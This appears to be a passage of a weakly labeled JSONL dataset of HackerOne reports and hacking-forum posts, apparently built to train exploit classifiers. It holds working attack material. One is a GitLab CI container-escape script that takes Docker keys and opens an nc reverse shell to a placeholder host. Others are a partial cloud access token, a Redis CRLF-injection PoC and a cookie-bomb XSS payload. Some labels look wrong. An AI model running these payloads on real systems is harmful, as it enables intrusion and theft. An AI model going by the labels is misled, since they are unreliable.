HTTP/1.1\nHost: www.miroyalcanin.cl\nCookie: OptanonConsent=isGpcEnabled=0&datestamp=Tue+Apr+18+2023+10%3A23%3A38+GMT-0400+(Eastern+Daylight+Time)&version=6.34.0&isIABGlobal=false&hosts=&landingPath=NotLandingPage&groups=1%3A1%2C2%3A1%2C4%3A1&AwaitingReconsent=false&geolocation=%3B; _ga=GA1.2.174329567.1679079573; OptanonAlertBoxClosed=2023-03-28T14:53:23.642Z; _gcl_au=1.1.1072294252.1680015205; _ga_BYDNNWSXGT=GS1.1.1681825645.9.1.1681827819.0.0.0; _gid=GA1.2.1653803706.1681778533; usr_idUsuario=88795; _cs_mk_ga=0.10453828872716586_1681827591176; _gat_gtag_UA_96920920_3=1; _gat_UA-52712959-1=1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.miroyalcanin.cl/mi-perfil-edicion\nContent-Type: multipart/form-data; boundary=---------------------------297392175112058187932062474594\nContent-Length: 2851\nOrigin: https://www.miroyalcanin.cl\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: iframe\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n-----------------------------297392175112058187932062474594\nContent-Disposition: form-data; name=\"nombre\"\n\nattacker\n-----------------------------297392175112058187932062474594\nContent-Disposition: form-data; name=\"apellido\"\n\nattacker\n-----------------------------297392175112058187932062474594\nContent-Disposition: form-data; name=\"email\"\n\nteyin79347@momoshe.com\n-----------------------------297392175112058187932062474594\nContent-Disposition: form-data; name=\"rut\"\n\n\n-----------------------------297392175112058187932062474594\nContent-Disposition: form-data; name=\"idProvincia\"\n\n0\n-----------------------------297392175112058187932062474594\nContent-Disposition: form-data; name=\"idLocalidad\"\n\n0\n-----------------------------29739217511205818793206247", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4b1b115fa4bd573d32a9", "text": "[Unknown] Python : Add query to detect PAM authorization bypass\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9d84bad1a6ff6d7c781", "text": "Now that anti virus scanners respond quickly to every newly created backdoor, you need to be creative and go through the back door. Here’s an example of how discord is used to access someone else’s computer: GitHub - 3ct0s/discord-keylogger: Undetectable Keylogger that reports to Discord", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-02-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "501d6646f87d29084034", "text": "[Unknown] Issuer not verified from obtained token in user_oidc\n\nAs per OIDC spec the issues of the token should be verified to match the issuer obtained in the discovery phase.\nhttps://openid.net/specs/openid-connect-core-1_0.html#IDTokenValidation (step 2)\n\nVery similar to the aud check in https://github.com/nextcloud/user_oidc/blob/main/lib/Controller/LoginController.php\n\nThere are some more steps in that document that I don't think are currently implemented correctly.\nHowever I do not have an OIDC setup to check/verify. So might be worth it to have a look.\n\n## Impact\n\nWithout verifying the issuer a MITM is possible.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "99dbd4d8d9d5c440ba54", "text": "Other than controlling the drone via keyboard, not much. I’ve been stuck on decoding the video for weeks haha. Seems like the App is using Ffmpeg, AVPlayer, EglView, Opencv, CNN, and etc. Idk if it’s helping. I’ve read many articles about “hacking” bunch of drone. And their way of accesing the video stream so simple. Idk why it’s hard in this case haha. I thought that the drone is encapsulating the stream using something like RTP but after testing, the packet send using RTP doesn’t match what the drone have sent. Now i’m stuck. Still researching sending video over udp tho, will reply when i’ve found the solution.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9cf7bd7c880b7f2e45be", "text": "Thank you so much dude. I can’t believe this actually worked. You’re the best.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0cdf0030ac1cf24becc2", "text": "[Unknown] Cargo not respecting umask when extracting crate archives\n\nCargo did not properly protect files in the cargo registry. When an archive contained files which were marked as globally writeable, they would be unpacked as-is and retain their global writeability. This is CWE-278 (not available in HackerOne).\n\nThis was discovered as part of a (personal) routine file permissions check:\n\n```sh\nfind / ! -type l -perm -002 -exec ls -alhd {} \\;\n```\n\n## Impact\n\nA local attacker may inject arbitrary code into the cached files present in the cargo registry. This, in turn, allows for a local attacker to act as the targeted user (when the user compiles the modified code) or to poison prebuilt binaries built by that user and thus have arbitrary code execution against downstream users (supply chain attack).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "752d16c068d8b5a64fa0", "text": "[CRLF Injection] Header CRLF Injection in Ruby Net::HTTP\n\nThere is a Header CRLF Injection vulnerability in Ruby Net::HTTP.\nWhen I run the following code:\n```\nrequire 'net/http'\n\nhttp = Net::HTTP.new('127.0.0.1', 6379)\nheaders = {\n  \"test\\r\\nSET VULN POC \\r\\n\" => \"test\",\n}\nresp, data = http.get(\"/\", headers)\n```\nThe service on port 6379 will receive the following packet:\n```\nGET / HTTP/1.1\nTest\nset vuln poc\n: test\nAccept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3\nAccept: */*\nUser-Agent: Ruby\nConnection: close\nHost: 127.0.0.1:6379\n```\nThis means that if an attacker can control the header name, he can inject arbitrary content into the HTTP request. This is very dangerous.\n\n## Impact\n\nIf port 6379 is running the Redis service, the attacker can directly execute the Redis command. So this vulnerability can be used to attack internal services like Redis etc.\n{F1963847}", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bc508ef2ce1fbc21b4a8", "text": "[HTTP Request Smuggling] CVE-2022-32215 - HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding\n\nOriginal Report: https://hackerone.com/reports/1501679\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32215"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e0051327b3d38a14e55d", "text": "[Improper Access Control - Generic] Able to take over .zyrosite.com subdomains via `/v3/publish/connect-domain-hostinger` API endpoint\n\n## Summary:\nHey team, I was able to take over *anysubdomain*.zyrosite.com via https://builder-backend.hostinger.com/v3/publish/connect-domain-hostinger endpoint.\n\nI was connected following subdomains to my site for confirming this vulnerability, ;\n`test.zyrosite.com` and `connect.zyrosite.com` ( this was my fault )\n\nyou'll see a text like`tosun pwn` on these subdomains, but If you follow the below steps, you can also connect your site to test.zyrosite.com`\n\n## Steps To Reproduce:\n\n> ###`you need to single shared hosting service to reproduce this issue`\n\n1. Login to your hostinger account from hpanel.hostinger.com\n2. Create a website then go to website builder / editor ( you'll be go to like this https://builder.hostinger.com/{siteId} )\n3. Publish your site with top right button\n\nNow get your cookies and paste to below HTTP request\n\n```\nPOST /v3/publish/connect-domain-hostinger HTTP/2\nHost: builder-backend.hostinger.com\nCookie: {use your cookies on builder page)\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 61\nOrigin: https://builder.hostinger.com\nReferer: https://builder.hostinger.com/\nTe: trailers\n\n{\"domain\":\"test.zyrosite.com\",\"siteId\":\"{yourSiteId}\"}\n``` \n\nmy hostinger account email: █████\nmy siteId: `█████`\n\n## Impact\n\nable to takeover *.zyrosite.com subdomains.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b09e70a38abcc37c2a01", "text": "[Deserialization of Untrusted Data] RCE vulnerability in Hyperledger Fabric SDK for Java\n\n[Hyperledger Fabric SDK for Java version 2.0.0](https://github.com/hyperledger/fabric-sdk-java/tree/v2.0.0) and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types, resulting in a remote code execution vulnerability.\n\nIn the following source code files and corresponding line number, an arbitrary file gets parsed by SnakeYAML which allows to construct a Java object of any type, leading to remote code execution.\n- fabric-sdk-java/src/main/java/org/hyperledger/fabric/sdk/ChaincodeCollectionConfiguration.java line 121\n- fabric-sdk-java/src/main/java/org/hyperledger/fabric/sdk/NetworkConfig.java line 301\n- fabric-sdk-java/src/main/java/org/hyperledger/fabric/sdk/ChaincodeEndorsementPolicy.java line 241 and 262\n- fabric-sdk-java/src/main/java/org/hyperledger/fabric/sdk/LifecycleChaincodeEndorsementPolicy.java line 228\n\nObjects should be limited such as limiting to standard Java objects like List or Long by using SafeConstructor.\n```\nYaml yaml = new Yaml(new SafeConstructor());\n```\n\nMore info on Snake YAML can be found on the following url: https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-loading-yaml\n\n## Impact\n\nRemote Code Execution vulnerability", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "179fa4423ad83ea987d7", "text": "There are methods that can be bypassed. “Vendors have to install UM hooks in each process since Microsoft doesn’t provide a legitimate way for components to receive notifications about memory operations.” In response to this, various techniques to circumvent them have been devised and what follows is a brief description and source code in C to demonstrate some of those methods currently being used.The address table is exported. The address of system calls can be resolved using a combination of GetModuleProc and GetHandleAddress. It is possible to manually locate NTDLL. The system call can be found through the dll in the Process Environment Block. The code you see is used to read the EAT.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-03-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8665d3baaa3642ffc478", "text": "[Improper Access Control - Generic] Container escape on public GitLab CI runners\n\n### Summary\n\nIt is possible to circumvent the isolation in place for build jobs running on public CI runners by escaping the docker container running the build job.\nThis is possible via abuse of the cgroup release_agent functionality, made possible by CI jobs being allowed to mount filesystems inside the container.\n\nFrom this host, I was able to spawn a root remote shell and run whatever I liked without restriction, including bypassing the iptables rules put in place to prevent access to the GCP metadata API. I was also able to gather sensitive data such as the instance token, GCP project ID and instance configuration, docker host TLS keys, firewall details, suricata configuration and user account names for the ops team, which could aid in further exploitation for a motivated attacker.\n\n### Steps to reproduce\n\n1. Sign up for a regular, free GitLab account.\n2. Create a new project.\n     An example repo is here: https://gitlab.com/ec0bb/citest (made private)\n3. Add the below `.gitlab-ci.yaml`\n```\nimage: python:latest\nrun:\n  script:\n    - bash shell.sh\n```\n4. Add the below `shell.sh`\n```\nexport HOST=your.reverse.shell.box # customise this!\n\nmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x\necho 1 > /tmp/cgrp/x/notify_on_release\nexport host_path=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab`\necho \"$host_path/cmd\" > /tmp/cgrp/release_agent\n\ntouch /user/txt\ntouch /ca.pem\ntouch /server.pem\ntouch /server-key.pem\ntouch /ps.txt\necho '#!/bin/sh' > /cmd\necho \"whoami > $host_path/user.txt\" >> /cmd\necho \"ps uax > $host_path/ps.txt\" >> /cmd\necho \"cat /etc/docker/ca.pem > $host_path/ca.pem\" >> /cmd\necho \"cat /etc/docker/server.pem > $host_path/server.pem\" >> /cmd\necho \"cat /etc/docker/server-key.pem > $host_path/server-key.pem\" >> /cmd\necho \"mount -o bind /var/run/docker.sock $host_path/docker.sock\" >> /cmd\necho \"/usr/bin/nc $HOST 1337 -e /bin/sh &\" >> /cmd\nchmod a+x /cmd\n\nwhile test 1\ndo\n  sh -c \"echo \\$\\$ > /tmp/cgrp/x/cgroup.procs\"\n  sleep 60\ndone\n```\n5. Push the files to the repository.\n6. Enable CI/CD jobs on the repository, in case they aren't, using the `.gitlab-ci.yml` in the repository.\n7. Set up a reverse shell listener with `nc -lvp 1337` on the host you specified in the bash script above.\n8. Run the job\n\n### Impact\n\nBased on the host configuration, there is a clear expectation that CI jobs should not have access to the host, given the use of $DOCKER_USER in the firewall rules, and the configuration in place to prevent access to GCP metadata and host configuration in the way the container is configured. \n\nBeing able to break this confinement allows for unconstrained resource usage on the CI host, as well as access to GCP resources and also other hosts on the internal GCP network.  It is also possible to disable iptables and suricata entirely - so arbitrary software and docker images can also be downloaded and run, to facilitate things like cryptocoin mining, something the host has been configured to try and prevent via iptables and suricata rules. This could be used by an attacker to consume significant compute resources in the form of bandwidth usage and compute time, given how easy it is to spin up multiple GitLab accounts, and to restart jobs programmatically when the maximum execution time is reached.\n\nI did not see any evidence of shared jobs in my testing, however if multiple jobs were scheduled on a dedicated runner (which I did not test) then this could also lead to a loss of confidentiality between jobs, as the full container configuration and contents are accessible once the container is escaped.\n\n### Examples\n\nRepo: https://gitlab.com/ec0bb/citest\n\nGCP access (albeit limited) -\n```\ncurl -H 'Metadata-Flavor:Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n{\"access_token\":\"ya29.c.b0AXv0zTPHcDsuE3JOIVaFex7mGac13DuX3nI8XvoeSTANd0HfWmJ8BaTiE0P8GGRBVjOH3--Bangi4UVHqBpR7hLsfielnvZd5VWsRVM9xedCsFchJ1VlIl_RHRAgndu79QhAdEtquGQ9FVw8K_v-beS5zXMSh2DZNEfrUx6IgkAF3sk", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "433b7a4f4d991650be7a", "text": "[Code Injection] https://www.wotif.com/vc/blog/info.php script is prone to reflected HTML/CSS injection and COOKIE leak\n\n## Summary:\nHi,\nI've found that https://www.wotif.com/vs/blog/info.php script is prone to reflected HTML/CSS injection and COOKIE leak. I don't know what is the purpose of that script, however looks like it caches for ~1h a last request over HTTP GET with all HTTP headers send by user + some headers send by Akamai. I'm not sure if there is any sensitive Akamai headers there (some headers reported by that scripts reveal a IP addresses from private network), but I'm sure that malicious actor may inject in that way some HTML/CSS code. As style and form are accepted so attacker probably could use that vulnerability for e.g. phising attack.\nFortunately - despite of many attempts I was unable to exploit this vulnerability as XSS - Akamai WAF protects that endpoint from XSS (at least as long as new bypass method is not found :))\n\nSecond problem with that script is related to HTTP_COOKIES header. As I mentioned before, this script caches all HTTP headers of visitor for ~1h, so if attacker convince the victim to visit that page, then victim cookies will be cached by script and visible to anybody who visit this script after victim.\n\nCurrent response:\n```\nTEMP => /tmp\nTMPDIR => /tmp\nTMP => /tmp\nPATH => /usr/local/bin:/usr/bin:/bin\nHOSTNAME =>\nUSER => nginx\nHOME => /var/lib/nginx\nHTTP_X_DATADOG_SAMPLING_PRIORITY => 0\nHTTP_X_DATADOG_PARENT_ID => 2356387789306272938\nHTTP_X_DATADOG_TRACE_ID => 2570661382097469643\nHTTP_CGP_AGENT_IDS_DUAID => 0c8072a3-7d9b-4be1-bbcf-d2acaaf8c627\nHTTP_CTX_USER_TUID => -1\nHTTP_CTX_USER_STATE => single-use\nHTTP_CTX_SITE_CURRENCY => AUD\nHTTP_CTX_SITE_EAPID => 0\nHTTP_CTX_SITE_TPID => 70125\nHTTP_CTX_SITE_LOCALE => en_AU\nHTTP_CTX_SITE_ID => 70125\nHTTP_CTX_PARTNER_ACCOUNT_ID => d34ca89e-4f80-4815-8057-b91672192b53\nHTTP_CTX_PRIVACY =>\nHTTP_CTX_AGENT_DEVICE_ID => 0c8072a3-7d9b-4be1-bbcf-d2acaaf8c627\nHTTP_EDGE_AGENT_TRAITS_CLASSIFICATION => UnknownBot\nHTTP_EDGE_AGENT_TRAITS_ALIGNMENT_SCORE => 0.0\nHTTP_EDGE_AGENT_TRAITS_BOTNESS_SCORE => 1.0\nHTTP_EDGE_AGENT_GEOLOCATION_INFO => {\"latitude\":50.27,\"longitude\":19.02,\"countryCode\":\"PL\",\"regionCode\":\"\",\"city\":\"KATOWICE\",\"continent\":\"EU\",\"postalCode\":\"\",\"timezone\":\"+01:00\",\"metroCode\":-1}\nHTTP_EDGE_AGENT_DEVICE_INFO => {\"brandName\":\"cURL\",\"modelName\":\"cURL\",\"isTablet\":false,\"isMobile\":false,\"resolutionHeight\":600,\"resolutionWidth\":800,\"physicalScreenHeight\":400,\"physicalScreenWidth\":400,\"type\":\"DESKTOP\"}\nHTTP_EDGE_AGENT_IP => 89.74.158.194\nHTTP_X_EXPEDIA_TPID => 70125\nHTTP_CGP_AGENT_GEOLOCATION_INFO => {\"latitude\":50.27,\"longitude\":19.02,\"countryCode\":\"PL\",\"regionCode\":\"\",\"city\":\"KATOWICE\",\"continent\":\"EU\",\"postalCode\":\"\",\"timezone\":\"+01:00\",\"metroCode\":-1}\nHTTP_CGP_AGENT_TRAITS_BOTNESS_SCORE => 1.0\nHTTP_CGP_AGENT_TRAITS_CLASSIFICATION => UnknownBot\nHTTP_X_CGP_ENV => ewecgp-prod\nHTTP_X_CGP_REGION => eu-west-1\nHTTP_CGP_AGENT_DEVICE_ID => 0c8072a3-7d9b-4be1-bbcf-d2acaaf8c627\nHTTP_CGP_AGENT_TRAITS_ALIGNMENT_SCORE => 0.0\nHTTP_X_EXPEDIA_EAPID => 0\nHTTP_X_EXPEDIA_SITE_ID => 70125\nHTTP_CGP_ROUTE_APPLICATION => seo-vendor-content-wotif-blog\nHTTP_X_CLOUD_GATE_DESTINATION_ID => seo-vendor-content-wotif-blog\nHTTP_CGP_ROUTE_ENDPOINT => seo-vendor-content-blog\nHTTP_X_BONO_CONFIDENCE => 100\nHTTP_X_BONO_RULES_EXECUTED => -\nHTTP_X_BONO_CLASSIFICATION => UnknownBot\nHTTP_COOKIE => MC1=GUID=0c8072a37d9b4be1bbcfd2acaaf8c627; DUAID=0c8072a3-7d9b-4be1-bbcf-d2acaaf8c627; HMS=c7e5fe2f-8c58-4e65-b97a-5c9f8f7371a9\nHTTP_DEVICE_USER_AGENT_ID => 0c8072a3-7d9b-4be1-bbcf-d2acaaf8c627\nHTTP_X_B3_SAMPLED => 1\nHTTP_X_B3_SPANID => bb92594475e89bbe\nHTTP_X_B3_TRACEID => 1557eb34142c42509d22dfee3abe67b7\nHTTP_MESSAGE_ID => 00000000-0000-0000-bb92-594475e89bbe\nHTTP_TRACE_ID => 1557eb34-142c-4250-9d22-dfee3abe67b7\nHTTP_X_CGP_INSTANCE => i-0f45203154581aa55\nHTTP_X_FORWARDED_PROTO => https\nHTTP_X_CGP_REQUEST_ID => 0838fecf-b682-11ed-a11c-0242edcb948b\nHTTP_VIA => 1.1 v1-akamaitech.net(ghost) (AkamaiGHost), 1.1 akamai.net(ghost) (AkamaiGHost), 1.1 styx\nHTTP_X_FORWARDED_HOST => www.wotif.com\nHTTP_X_FO", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "26d50eb27f9deb90ce65", "text": "[Cross-site Scripting (XSS) - Stored] XSS in redditmedia.com can compromise data of reddit.com\n\n# Description\n\nHi, i would like to report a XSS in redditmedia.com that can affect the reddit.com application. In redditmedia.com domain we are in the domain that reddit.com use to get all the thumbmails of any post.\n\nI found that redditmedia.com/gtm/jail uses the \"id\" parameter to get a valid GTM id and import it from google tag manager. With that, I can create a google tag manager account, create my own html and generate a valid GTM id to be introduced at redditmedia.com/gtm/jail.\n\nI created a gtm with the content `<html> <img src = x onerror = alert (1)> </html>` and it worked. The XSS was triggered. You can check using the id `GTM-KM2VT3H`.\n\nI discovered two scenarios that can affect reddit.com, one of which is making this XSS make a cookie bomb, creating a large amount of cookies for .redditmedia.com that will make the service unavailable to the user (only for the user who accesses the malicious GTM page)\n\nThe PoC for this case is as follows:\n```\n<html>\n <img src=x onerror=\"document.cookie='x1='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x2='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x3='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x4='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x5='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x6='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x7='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x8='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x9='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x10='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x11='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x12='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x13='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x14='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x15='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x16='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x17='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x18='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x19='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x20='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x21='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"document.cookie='x22='+Array(3900).join(0)+';Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.redditmedia.com'\">\n<img src=x onerror=\"d", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "96057dd4a4ef2b787a3b", "text": "First, thank you for having time to read (and even comment!) on my topic today. The whole topic of coding, programming, and cybersecurity has been astronomically increasing in trend over the last couple of years. Here’s the issue, trends are typically and eventually hogged by online revenue makers - aka content creators- leaving all the useful information like a needle in a sh*t load of useless content. Why am I bringing this up? Because I want to share my findings of some sources that were quiet interesting, and I would love if I get recommendations in return!The goal here, and as it was for me 6 months ago, was to be well rounded and informed in the cybersecurity topic. In addition to that, I wanted to learn a computer “language”; thus my choice was Python for different personal reasons!TryHackme : very interesting website, I consider myself fairly informed, and found how these people treat you amazing. They’re literally acting like they have a journey to teach, a stick. Literally!! This really helps them put every little detail you should have known or will be knowing upfront. Starting out with the simplest terms and ideas, and building upon it. With great paths to choose from, and even many rooms and topics to try. Finally they have their own vm for you to experiment with, very interactive!For python, to be honest I’ve been jumping from YouTube videos to browser links, trying to scrape as much useful info as I can on a note sheet. If you have some good resources and recommendations, I would highly appreciate it.Overall, after 6 months between being lost and slowly progressing, I ended up on this forum, still motivated and hungry for help So my advice, watch for the time wasting content, schedule your time and track your progress, good luck!(None of my writings are an ad or any form of marketing)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "369a0bb04ddf9e90531e", "text": "A good beginner’s project to continue with, when learning about socket programming in Python, is to follow RFC’s for IRC and implement a simple IRC client.For practical situations when I need to communicate over a TCP socket I tend to use pwncat or a higher-level protocol on top of TCP (almost always HTTP, for me).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa0da93b23ed95624c88", "text": "[Privacy Violation] Last video frame is still sent after video is disabled in a call\n\n## Summary:\nWhen a participant is in a call and that participant disables the video rather than a black frame the last frame of the video will be sent. Similarly, if the video is disabled before joining the call the last frame of the video before joining the call will be sent.\n\nThe video is not directly visible in the Web UI, as the received video is initially disabled and only shown once some media is received. However, it may be briefly visible in the Android app, as the Android app has the opposite behaviour, it assumes that the received video is enabled and then disables it once the video state is received. The iOS app has not been checked.\n\nIn any case, as the frame is sent it can be accessed in the WebUI by assigning the track to a manually created video element, as described in the steps below.\n\n## Steps To Reproduce:\n- In a browser, start a call with a camera selected but video disabled\n- In a private window, join the call as a participant without microphone nor camera selected\n- In the console of the private window, paste:\n```\nvideoElement = document.createElement('video')\ndocument.body.appendChild(videoElement)\nvideoElement.srcObject = new MediaStream()\nvideoElement.srcObject.addTrack(OCA.Talk.SimpleWebRTC.webrtc.peers[0].pc.getReceivers()[1].track)\nvideoElement.style.zIndex = 10000000\nvideoElement.style.position = 'absolute'\nvideoElement.style.top = 0\nvideoElement.play()\n```\n\n## Impact\n\nAn attacker could see the last video frame of any participant who has video disabled but a camera selected.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c75e700c88914e3b3fe2", "text": "[Cross-site Scripting (XSS) - DOM] wp-embed XSS on Safari\n\nHello! I'd like to report an XSS vulberability which works only on Safari browser (and maybe on others which I didn't checked. It defo doesn't work on both Chrome and Firefox). The other requirement which need to be met is attacker's blog post being embed on destination (victim) blog. \n\n## Analysis\n\nLet's take a look to the core of problem - JavaScript postMessage handler: \n\n```javascript\n     if (c.wp.receiveEmbedMessage = function(e) {\n            var t = e.data;\n            if (t)\n                if (t.secret || t.message || t.value)\n                    if (!/[^a-zA-Z0-9]/.test(t.secret)) {\n                        for (var r, a, i, s = d.querySelectorAll('iframe[data-secret=\"' + t.secret + '\"]'), n = d.querySelectorAll('blockquote[data-secret=\"' + t.secret + '\"]'), o = 0; o < n.length; o++)\n                            n[o].style.display = \"none\";\n                        for (o = 0; o < s.length; o++)\n                            if (r = s[o],\n                            e.source === r.contentWindow) {\n                                if (r.removeAttribute(\"style\"),\n                                \"height\" === t.message) {\n                                    if (1e3 < (i = parseInt(t.value, 10)))\n                                        i = 1e3;\n                                    else if (~~i < 200)\n                                        i = 200;\n                                    r.height = i\n                                }\n                                if (\"link\" === t.message)\n                                    if (a = d.createElement(\"a\"),\n                                    i = d.createElement(\"a\"),\n                                    a.href = r.getAttribute(\"src\"),\n                                    i.href = t.value,\n                                    i.host === a.host)\n                                        if (d.activeElement === r)\n                                            c.top.location.href = t.value\n                            }\n                    }\n        }\n```\n\nThings need to be noticed: \n\n- Secret need to be known (but it's provided as location.hash of embed webpage, so it's not a 